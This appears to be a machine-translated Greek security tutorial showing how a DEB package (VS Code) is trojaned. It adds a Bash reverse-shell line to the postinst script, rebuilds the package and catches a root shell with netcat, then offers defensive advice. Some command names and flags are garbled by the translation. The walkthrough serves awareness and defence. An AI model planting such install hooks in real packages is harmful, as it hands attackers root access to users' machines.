Γνωρίζατε ότι οι εισβολείς μπορούν να τροποποιήσουν τα σενάρια που είναι συσκευασμένα σε ένα αρχείο DEB για να αποκτήσουν μη εξουσιοδοτημένη πρόσβαση στον υπολογιστή σας; Δείτε πώς τα πακέτα DEB είναι backdoored.
Βασικά Takeaways
- Τα πακέτα DEB μπορούν εύκολα να μετατραπούν σε backdoor, επιτρέποντας στους εισβολείς να εισάγουν κακόβουλο κώδικα στο σύστημά σας όταν τα εγκαθιστάτε με δικαιώματα root.
- Τα μολυσμένα πακέτα DEB είναι δύσκολο να εντοπιστούν, καθώς ενδέχεται να μην επισημανθούν από λογισμικό προστασίας από ιούς ή λύσεις cloud όπως το VirusTotal.
- Για να προστατεύσετε τον εαυτό σας, αποφύγετε τη λήψη πακέτων DEB από τυχαίους ιστότοπους, μείνετε σε επίσημους ιστότοπους λήψης ή αξιόπιστους ιστότοπους της κοινότητας και εξετάστε το ενδεχόμενο να εγκαταστήσετε εργαλεία ασφαλείας για να ασφαλίσετε το σύστημά σας Linux έναντι του δικτύου επιθέσεις.
Τα αρχεία DEB είναι πακέτα λογισμικού που αποτελούν την κύρια μορφή λογισμικού αποστολής σε διανομές Linux που βασίζονται στο Debian.
Για να εγκαταστήσετε πακέτα DEB, πρέπει να χρησιμοποιήσετε έναν διαχειριστή πακέτων όπως το dpkg με δικαιώματα root. Οι επιτιθέμενοι το εκμεταλλεύονται αυτό και εισάγουν backdoors σε αυτά τα πακέτα. Όταν τα εγκαθιστάτε με dpkg ή οποιονδήποτε άλλο διαχειριστή πακέτων, ο κακόβουλος κώδικας εκτελείται επίσης παράλληλα και θέτει σε κίνδυνο το σύστημά σας.
Ας εξερευνήσουμε πώς ακριβώς τα πακέτα DEB είναι backdoored και τι μπορείτε να κάνετε για να προστατευθείτε.
Πώς είναι τα πακέτα DEB Backdoor;
Προτού καταλάβετε πώς τα πακέτα DEB είναι backdoored, ας εξερευνήσουμε τι υπάρχει μέσα σε ένα πακέτο DEB. Για επίδειξη, θα πραγματοποιήσω λήψη του πακέτου Microsoft Visual Studio Code DEB από τον επίσημο ιστότοπο της Microsoft. Αυτό είναι το ίδιο πακέτο που θα κάνατε λήψη αν θέλετε να εγκαταστήσετε το VS Code σε Linux.
Κατεβάστε:Κωδικός Visual Studio
Τώρα που έχετε κατεβάσει το πακέτο προορισμού, ήρθε η ώρα να το αποσυσκευάσετε. Μπορείτε να αποσυσκευάσετε ένα πακέτο DEB χρησιμοποιώντας το dpkg-deb εντολή με το -Ρ σημαία ακολουθούμενη από τη διαδρομή για την αποθήκευση των περιεχομένων:
dpkg-deb -R
Αυτό θα πρέπει να εξαγάγει τα περιεχόμενα του πακέτου VS Code.
Μεταβαίνοντας στο φάκελο θα βρείτε πολλούς καταλόγους, ωστόσο, το ενδιαφέρον μας βρίσκεται μόνο στο DEBIAN Ευρετήριο. Αυτός ο κατάλογος περιέχει σενάρια συντήρησης που εκτελούνται κατά την εγκατάσταση με δικαιώματα root. Όπως ίσως έχετε ήδη καταλάβει, οι εισβολείς τροποποιούν τα σενάρια σε αυτόν τον κατάλογο.
Για επίδειξη, θα τροποποιήσω το postinst σενάριο και προσθέστε ένα απλό κέλυφος αντίστροφου TCP Bash με μία γραμμή. Όπως υποδηλώνει το όνομα, είναι ένα σενάριο που εκτελείται μετά την εγκατάσταση του πακέτου στο σύστημα.
Περιέχει εντολές που οριστικοποιούν τις διαμορφώσεις, όπως η ρύθμιση συμβολικών συνδέσμων, ο χειρισμός εξαρτήσεων και πολλά άλλα. Μπορείτε να βρείτε τόνους διαφορετικών αντίστροφων κελυφών στο διαδίκτυο. Τα περισσότερα από αυτά θα λειτουργήσουν το ίδιο. Ακολουθεί το δείγμα αντίστροφης μονής επένδυσης:
bash -i >& /dev/tcp/127.0.0.1/42069 0>&1
Επεξήγηση της εντολής:
- βίαιο χτύπημα: Αυτή είναι η εντολή που καλεί το κέλυφος Bash.
- -Εγώ: Η σημαία λέει στο Bash να εκτελείται σε διαδραστική λειτουργία επιτρέποντας την εντολή I/O σε πραγματικό χρόνο.
-
>& /dev/tcp/ip/port: Αυτό ανακατευθύνει τυπική έξοδος και τυπικό σφάλμα σε μια υποδοχή δικτύου, ουσιαστικά εγκαθιστώντας μια σύνδεση TCP με το
και . - 0>&1: Αυτό ανακατευθύνει την είσοδο και την έξοδο στην ίδια θέση, δηλαδή στην υποδοχή δικτύου.
Για όσους δεν έχουν μυηθεί, ένα αντίστροφο κέλυφος είναι ένας τύπος κώδικα που, όταν εκτελείται στο μηχάνημα-στόχο, ξεκινά μια σύνδεση πίσω στον υπολογιστή του εισβολέα. Τα αντίστροφα κελύφη είναι ένας πολύ καλός τρόπος για να παρακάμψετε τους περιορισμούς του τείχους προστασίας καθώς η κίνηση δημιουργείται από το μηχάνημα πίσω από το τείχος προστασίας.
Δείτε πώς φαίνεται το τροποποιημένο σενάριο:
Όπως μπορείτε να δείτε, όλα είναι ίδια, αλλά έχει προστεθεί μόνο μία γραμμή, δηλαδή το αντίστροφο κέλυφος Bash. Τώρα πρέπει να δημιουργήσετε ξανά τα αρχεία στο ".deb" μορφή. Απλώς χρησιμοποιήστε το dpkg εντολή με το --χτίζω σημαία ή χρήση dpkg-deb με την -σι σημαία ακολουθούμενη από τη διαδρομή των εξαγόμενων περιεχομένων:
dpkg --build
dpkg-deb -b
Τώρα το πακέτο DEB με κερκόπορτα είναι έτοιμο για αποστολή σε κακόβουλους ιστότοπους. Ας προσομοιώσουμε ένα σενάριο όπου ένα θύμα έχει κατεβάσει το πακέτο DEB στο σύστημά του και το εγκαθιστά όπως οποιοδήποτε άλλο κανονικό πακέτο.
Το επάνω τμήμα τερματικού είναι για το POV του θύματος και το κάτω μέρος είναι το POV του εισβολέα. Το θύμα εγκαθιστά το πακέτο με sudo dpkg -i και ο εισβολέας ακούει υπομονετικά για εισερχόμενες συνδέσεις χρησιμοποιώντας το netcat εντολή στο Linux.
Μόλις ολοκληρωθεί η εγκατάσταση, παρατηρήστε ότι ο εισβολέας αποκτά την αντίστροφη σύνδεση κελύφους και πλέον έχει πρόσβαση root στο σύστημα του θύματος. Τώρα ξέρετε πώς τα πακέτα DEB είναι backdoored. Ας μάθουμε τώρα πώς μπορείτε να προστατεύσετε τον εαυτό σας.
Πώς να εντοπίσετε εάν ένα πακέτο DEB είναι κακόβουλο
Τώρα που ξέρετε ότι τα μολυσμένα πακέτα DEB είναι ένα πράγμα, πρέπει να αναρωτιέστε πώς να βρείτε τα μολυσμένα. Για αρχή, μπορείτε να δοκιμάσετε να χρησιμοποιήσετε ένα Λογισμικό προστασίας από ιούς Linux όπως το ClamAV. Δυστυχώς, όταν εκτελέστηκε μια σάρωση ClamAV στο πακέτο, δεν το επισήμανε ως κακόβουλο. Ακολουθεί το αποτέλεσμα της σάρωσης:
Έτσι, εάν δεν έχετε μια premium λύση προστασίας από ιούς (η οποία δεν αποτελεί εγγύηση ότι δεν θα σας παραβιάσουν), είναι πολύ δύσκολο να εντοπίσετε κακόβουλα πακέτα DEB. Ας δοκιμάσουμε να χρησιμοποιήσουμε μια λύση cloud όπως ο ιστότοπος VirusTotal:
Όπως μπορείτε να δείτε, το VirusTotal δεν εντόπισε τίποτα κακό σε αυτό. Λοιπόν, ο μόνος τρόπος για να προστατευτείτε από τέτοιες απειλές είναι να ακολουθείτε τη βασική υγιεινή ασφαλείας, όπως να μην κάνετε λήψη αρχείων από άγνωστες πηγές, πάντα έλεγχος του κατακερματισμού ενός αρχείου, και γενικά, αποφεύγοντας την εγκατάσταση σκιερού λογισμικού.
Το διαδίκτυο είναι γεμάτο από τέτοιες απειλές. Ο μόνος τρόπος για να σερφάρετε χωρίς να χάσετε τα δεδομένα σας είναι να έχετε το μυαλό σας για εσάς και να περιηγηθείτε σε αξιόπιστους ιστότοπους. Επιπλέον, για το Linux, θα πρέπει επίσης να προσπαθήσετε να βρείτε εάν το λογισμικό που κατεβάζετε έχει Παραλλαγή AppImage καθώς είναι αυτόνομα και μπορούν να τοποθετηθούν σε sandbox και έτσι να μην έρχονται σε επαφή με το σύστημά σας.
Μην κάνετε λήψη πακέτων DEB από τυχαίους ιστότοπους!
Τα πακέτα DEB δεν είναι εγγενώς κακά, ωστόσο, οι εισβολείς μπορούν εύκολα να οπλίσουν και να τα στείλουν σε ανυποψίαστους χρήστες. Όπως αποδείχθηκε, ένα πακέτο DEB μπορεί εύκολα να ανοίξει και να τροποποιηθεί για να προσθέσει προσαρμοσμένο κώδικα με λίγες μόνο εντολές, καθιστώντας το ένα κοινό διάνυσμα για αποστολή κακόβουλου λογισμικού.
Ακόμη και οι απλές κερκόπορτες σε πακέτα DEB δεν πιάνονται από τις κορυφαίες λύσεις προστασίας από ιούς. Επομένως, το καλύτερο που έχετε να κάνετε είναι να παίζετε με ασφάλεια, να έχετε την κοινή λογική σας καθώς σερφάρετε στο διαδίκτυο και να κατεβάζετε πάντα λογισμικό μόνο από επίσημους ιστότοπους λήψης ή αξιόπιστους ιστότοπους της κοινότητας.
Τώρα που γνωρίζετε τους κινδύνους ασφαλείας που συνεπάγεται η εγκατάσταση πακέτων DEB από νέους ή άγνωστους ιστότοπους, θα πρέπει να είστε προσεκτικοί κατά την εγκατάσταση νέου λογισμικού. Ωστόσο, δεν αρκεί μόνο να προσέχετε τι εγκαθιστάτε. Το σύστημά σας Linux μπορεί επίσης να γίνει στόχος επιθέσεων δικτύου.
Για να διασφαλίσετε ότι είστε ασφαλείς σε περίπτωση επίθεσης δικτύου, θα πρέπει να εξετάσετε το ενδεχόμενο εγκατάστασης εργαλείων ασφάλειας δικτύου.